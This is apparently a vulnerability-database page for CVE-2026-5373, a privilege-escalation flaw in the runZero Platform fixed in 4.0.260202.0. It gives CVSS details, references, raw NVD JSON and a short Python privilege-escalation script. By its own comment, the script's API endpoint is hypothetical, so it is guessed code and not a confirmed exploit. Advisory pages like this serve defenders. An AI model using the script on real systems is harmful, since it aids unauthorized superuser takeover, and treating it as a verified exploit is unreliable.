CVE-2026-5373

Description

An issue that allowed all-organization administrators to promote accounts to superuser status has been resolved. This is an instance of CWE-269: Improper Privilege Management, and has an estimated CVSS score of CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N (8.1 High). This issue was fixed in version 4.0.260202.0 of the runZero Platform.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:runzero:runzero_platform:*:*:*:*:*:*:*:* - VULNERABLE

runZero Platform < 4.0.260202.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-5373
# Requires valid Organization Admin credentials

import requests

TARGET_URL = "https://target-runzero-instance.com"
API_KEY = "ORG_ADMIN_API_KEY"
HEADERS = {
    "Authorization": f"Bearer {API_KEY}",
    "Content-Type": "application/json"
}

# Target user ID to promote (or self)
TARGET_USER_ID = "12345"

payload = {
    "role": "superuser"
}

try:
    # Endpoint to update user role (hypothetical based on vulnerability description)
    response = requests.patch(
        f"{TARGET_URL}/api/v1.0/users/{TARGET_USER_ID}",
        json=payload,
        headers=HEADERS,
        verify=False # Ignore SSL cert for testing
    )

    if response.status_code == 200:
        print("[+] Successfully escalated privileges to Superuser!")
    else:
        print(f"[-] Failed. Status Code: {response.status_code}")
        print(response.text)

except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5373
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5373
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5373/
[4] VulDB https://vuldb.com/cve/CVE-2026-5373
[5] https://help.runzero.com/docs/release-notes/#402602020
[6] https://www.runzero.com/advisories/runzero-platform-su-privesc-cve-2026-5373/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5373", "sourceIdentifier": "44488dab-36db-4358-99f9-bc116477f914", "published": "2026-04-07T15:17:47.140", "lastModified": "2026-04-21T15:09:23.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue that allowed all-organization administrators to promote accounts to superuser status has been resolved. This is an instance of CWE-269: Improper Privilege Management, and has an estimated CVSS score of CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N (8.1 High). This issue was fixed in version 4.0.260202.0 of the runZero Platform."}], "metrics": {"cvssMetricV31": [{"source": "44488dab-36db-4358-99f9-bc116477f914", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.7, "impactScore": 6.0}]}, "weaknesses": [{"source": "44488dab-36db-4358-99f9-bc116477f914", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:runzero:runzero_platform:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.0.260202.0", "matchCriteriaId": "0C017AE6-897C-4120-B1B0-B1238A3CC741"}]}]}], "references": [{"url": "https://help.runzero.com/docs/release-notes/#402602020", "source": "44488dab-36db-4358-99f9-bc116477f914", "tags": ["Release Notes"]}, {"url": "https://www.runzero.com/advisories/runzero-platform-su-privesc-cve-2026-5373/", "source": "44488dab-36db-4358-99f9-bc116477f914", "tags": ["Vendor Advisory"]}]}}